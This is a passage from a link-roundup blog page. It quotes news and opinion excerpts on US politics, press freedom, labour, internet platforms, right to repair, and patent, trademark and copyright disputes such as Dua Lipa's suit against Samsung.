    Zohran Mamdani and Alexandria Ocasio-Cortez are not far left by this definition. By European, British, Australian, Japanese, or South Korean standards, they are relatively moderate politicians pushing popular policies — distributional programs focused on education, healthcare, housing. And yes, raising taxes to pay for those things. This is not far left. This is completely within the boundaries of normal liberal-democratic political discourse in every other rich country on earth. The Labour Party in Britain has been to the left of Mamdani in living memory. The German Social Democrats have been to the left of AOC in living memory. The Canadian NDP, the Australian Labor Party, the Japanese Constitutional Democratic Party, the South Korean Democratic Party — every one of these parties, in their normal operating range, has supported policy positions to the left of what the American Democratic Party’s most-attacked-as-far-left figures are actually proposing. The American discourse calls these figures far left because the American discourse has been calibrated by people who have specific reasons to want the calibration to land that way. It is not because the figures are actually far left.

  • CoryDoctorow ☛ Pluralistic: 2024 (apart from the obvious) (11 May 2026)

    There's one book that crystallizes my thoughts on this better than any other: Naomi Klein's 2023 Doppelganger, which analyzes our politics in terms of (warped) "mirror images." One of the mirror world pairings that Klein analyzes is the progressive movement, a coalition of liberals and leftists (led by liberals).

    Like every coalition, the two main groups that constitute "the progressives" do not agree on many important issues, though they do have common goals. Both groups support equality for people of all genders and races, but for liberals, an equal world is one that fixes the problem that 150 straight white men own everything by replacing 75 of them with racialized people, women and queer people (whereas the leftist fix is abolishing the system in which 150 people own everything).

  • Ava ☛ a little note on the choices we make

    You compromising on your understanding of what’s right and wrong simply to appease others and not stand out is sad. You are betraying yourself and what you stand for for very little, temporary gain, and you rob others of being challenged and inspired.

• Freedom of Information / Freedom of the Press

  • Techdirt ☛ Share-Owning Journalism Orgs Press Paramount For Company Docs On Corrupt Trump Merger Dealings

    Now a coalition of press groups, including Freedom of the Press Foundation (FPF) and Reporters Without Borders, are pressing Paramount regarding “potentially corrupt acquisitions and deals” they argue could undermine shareholder value by degrading the (already sagging) quality of journalism at CBS News and CNN, while “relinquishing editorial control of major news outlets to the Trump administration.”

    In a letter sent to former Trump DOJ “antitrust enforcer” (using that term ironically) turned Paramount top lawyer Makan Delrahim, the groups highlight all the dodgy bullshit that we’ve well-covered over the last year, whether it’s CBS paying the president a $16 million bribe to gain merger approval, CBS agreeing to install an “ombudsman” to ensure the network is consistently kissing the president’s ass, or Paramount billionaire owner Larry Ellison privately meeting with his friend Trump to promise he’d fire certain CNN anchors if the government allowed him to buy Warner Brothers.

  • Techdirt ☛ Kash Patel’s ‘Leadership’ Is Pretty Much Just Libel Lawsuits And Lie Detectors

    Will this reporting prompt another lawsuit from Kash Patel? I would hope his lawyers are smarter than Patel appears to be, because going back to the same well so quickly following a libel lawsuit loss might add sanctions to the humiliation of another public loss in a federal court.

  • Karl Bode ☛ The Billionaires Are Afraid

    This is not the behavior of confident people.

    Larry Ellison isn't trying to turn CNN, CBS, and TikTok into propaganda bullhorns because he's supremely confident that he has American culture under his thumb. Jeff Bezos didn't buy and castrate the Washington Post because he's feeling good about his long term chances at erecting a permanent corporatist autocracy.

    American oligarchs aren't just trying to destroy journalism, they're trying to replace it with a well-funded simulacrum designed to blow smoke up your ass. They're so positively terrified by the threat of informed consensus they've taken direct aim at the last remnants of institutional knowledge.

    What are they so afraid of?

  • Ipswich News ☛ 'We don't need you': Reform shuts door on local media hours after taking control of Suffolk County Council

    The reason became clear during the campaign. Reform candidates and councillors had been instructed by Ipswich Reform's chairman, Shayne Pooley, not to speak to Ipswich.co.uk, or any other media for that matter.

    The instruction held throughout the campaign. On election day itself, only one Reform candidate, Stuart Allen, spoke briefly to the BBC. The party's other candidates, including newly elected councillors, declined to be interviewed or photographed on Pooley's orders.

• Civil Rights / Policing / Accessibility

  • SBS ☛ Wealth inequality: Australia's dying middle class — and the rise of an inherited wealth nation | SBS News

    Middle-class Australian households are in decline as the enormous growth in property prices since the COVID-19 pandemic has boosted the wealth of the country's richest families.

  • The Atlantic ☛ Save the Taxi Drivers

    More certain than safety are profits. When companies talk about safety, it’s not just because they care about people, but because they want to sell their product. Self-driving cars are projected to be an $87 billion industry by 2030. And the robotic “passenger economy,” which includes driverless taxis and robot deliveries, could generate as much as $7 trillion by 2050.

    Chances are slim that the average American will benefit much financially from any of that money. But we will lose something, as Big Tech yet again destroys human interaction and calls it “convenience.”

  • Techdirt ☛ Tech Companies Fail To Kill Colorado’s ‘Right To Repair’ Law

    Last month we noted how tech companies, automakers, and others were trying to kill Colorado’s existing “right to repair” law, which is supposed to make it cheaper and easier to repair the things you own.

    More specifically, tech companies like Cisco and IBM were pushing Colorado lawmakers to sign off on SB26-090, the Exempt Critical Infrastructure from Right to Repair law, which would neuter much of the state’s existing protections under the pretense of making the public safer.

  • The Nation ☛ Care Workers Are Saying No to 24-Hour Workdays

    In its current formulation, No More 24 would eliminate 24-hour shifts, replace them with 12-hour shifts, and impose a maximum limit of 56 hours per week. Additionally, the bill would empower the Department of Consumer and Worker Protection—one of Mamdani’s key enforcement mechanisms—to investigate violators and punish them accordingly. Fortunately for workers, the new version of the No More Act 24—currently under the title of Intro. 303—has a host of backers in City Hall. Among the sponsors of the act are city progressives like Chi Ossé, who was recently arrested during an eviction defense against deed theft in Bed-Stuy, public advocate Jumanne Williams, and the bill’s author, Christopher Marte, who was a keynote speaker at the rally.

  • Jacobin Magazine ☛ Workers Have a Secret Weapon Against the AI Build-Out

    Left to their own devices, the likes of Altman and the other titans of the tech billionaire elite would like nothing more than to remake society into one where all else is subservient to their profit margins. Amazon founder Jeff Bezos is currently on a fundraising spree to bring in $100 billion to Project Prometheus, of which he is the co-CEO. Describing itself as a “manufacturing transformation vehicle,” the fund aims to buy up, hollow out, and implement AI and other forms of automation across manufacturing firms in various sectors.

    This future is being actively contested on multiple fronts. Communities across the country have banded together to fight the construction of data centers in their towns and have won moratoriums blocking future construction in others. Unions are beginning to bargain around AI and workers are developing tactics to fend off the impacts of AI in an increasing number of workplaces. In 2024, automation, though not directly related to AI, was a central issue of the three-day strike by the International Longshoremen’s Association (ILA) that shut down ports across the East and Gulf Coasts.

• Internet Policy/Net Neutrality

  • Sam Sharp ☛ they told me the internet was forever

    The link rot is a symptom of the larger rot that is taking place on the web. This intentional hiding of our world's past is intended to disorient us. If the big tech internet places are continuing to exert their control over us by making their online spaces more and more oppressive, by hiding history they can trick us into believing that what we're experiencing now is Just How Things Have Always Been.

  • Ben Werdmuller ☛ Asking platforms to do better won't work. We need to force their hands

    The internet as it stands is perfectly optimized for the needs of these platforms: engagement, advertising revenue, and rapid growth. Adding pro-social nudges would add friction to their well-oiled loops and take users off-platform. That’s exactly why Google has moved from leading people to the best websites for a query to answering those questions on-page: its own needs are best served by keeping users in one place. For them to make different choices, they would need to be far more benevolent architects than they are.

  • TechCrunch ☛ Digg tries again, this time as an AI news aggregator

    Just months after launching, the reboot of Kevin Rose’s once-popular link-sharing site shut down in March as the company shifted course. Originally redesigned as a competitor to the massive community forum site Reddit, the new Digg found that it wasn’t able to effectively manage the bot traffic invading its platform and hadn’t differentiated itself enough from the competition to make an impact.

    [...]

    Digg may also struggle when it moves on to other topics, as AI news is one of the few areas where discussion still heavily takes place on X. Other verticals don’t have the same traction, especially after Musk’s takeover of Twitter gave rise to an ecosystem of competitors, which now includes Meta’s creator-focused Threads. Many non-tech-related discussions are now happening off X, or off the public internet entirely.

    However, if Digg does end up gaining steam, it could serve as a useful source of website traffic to publishers whose businesses have been decimated by declining clicks thanks to Google’s changing algorithms and the impact of AI Overviews, the AI-generated summaries Google displays atop search results, which often answer users’ questions before they ever click through to a website.

• Monopolies/Monopsonies

  • Patents

    • Software Patents

      • Hackaday ☛ Honda Wants To Complicate Your E-Motorcycle

        If you ride a motorcycle, you know it is a bit of an art to manage the transmission on a typical bike. Electric motorcycles lose some of that. You usually just have a throttle and a brake. No transmission and, crucially, no clutch. Honda just patented a simulated clutch for those who want the old-school experience, according to [Ben Purvis], writing for Australian Motorcycle News.

  • Trademarks

    • Right of Publicity

      • Digital Music News ☛ Dua Lipa Sues Samsung for $15M for Using Her Likeness

        Dua Lipa has filed a $15 million lawsuit against Samsung, claiming the company used her image to sell TVs without permission and without paying her. But did Samsung really whip up an entire brand sponsorship ‘deal’ without even contacting the artist?

      • Jonathan Faber ☛ Samsung sued by Dua Lipa. Similarities to Pele's lawsuit against Samsung?

        Based on reporting, it appears Dua Lipa also owns the copyright to the photograph Samsung used on its packaging. Dua Lipa sues Samsung

      • Reuters ☛ Dua Lipa sues Samsung for $15 million for allegedly using her image to sell TVs

        The ⁠image alleged to have been used on the TV boxes is titled "Dua Lipa - Backstage at Austin ​City Limits, 2024," and Lipa is the owner of all rights, title and interest in the image, ​the lawsuit said. The suit was filed on Friday in the California federal court. Besides copyright and trademark infringement, Lipa has accused Samsung Electronics of breaching publicity rights.

  • Copyrights

    • Digital Music News ☛ Hybe & NewJeans Slapped with Copyright Infringement Lawsuit

      The four writers claim they submitted “One of a Kind” to NewJeans, but were told it was not selected. But when “How Sweet” was released just four months later, the writers say the song’s first verse was “quantitatively and qualitatively similar” to the first verse in “One of a Kind.”

    • Torrent Freak ☛ Publishers Seek $19.5 Million and Domain Takedown Order Against Anna's Archive

      A group of high-profile publishing companies is seeking a $19.5 million default judgment against shadow library Anna's Archive. The proposed order comes with an injunction that would compel more than twenty named international domain registries, hosts, and service providers, including Cloudflare and Njalla, to disable access to the pirate site's three remaining domains.

    • Torrent Freak ☛ Court Awards Aylo $4.2 Million, Not $84 Million, in Pornhits Piracy Case

      Aylo asked a Washington federal court for an $84 million default judgment against the operator of pirate site Pornhits, citing the same $15,000-per-work formula the court had previously approved in similar cases. This time, Judge Benjamin Settle denied the request, awarding the statutory minimum instead, while warning that anything more would be a "windfall." The porn company did secure a domain transfer order, however, which may be the most important of all.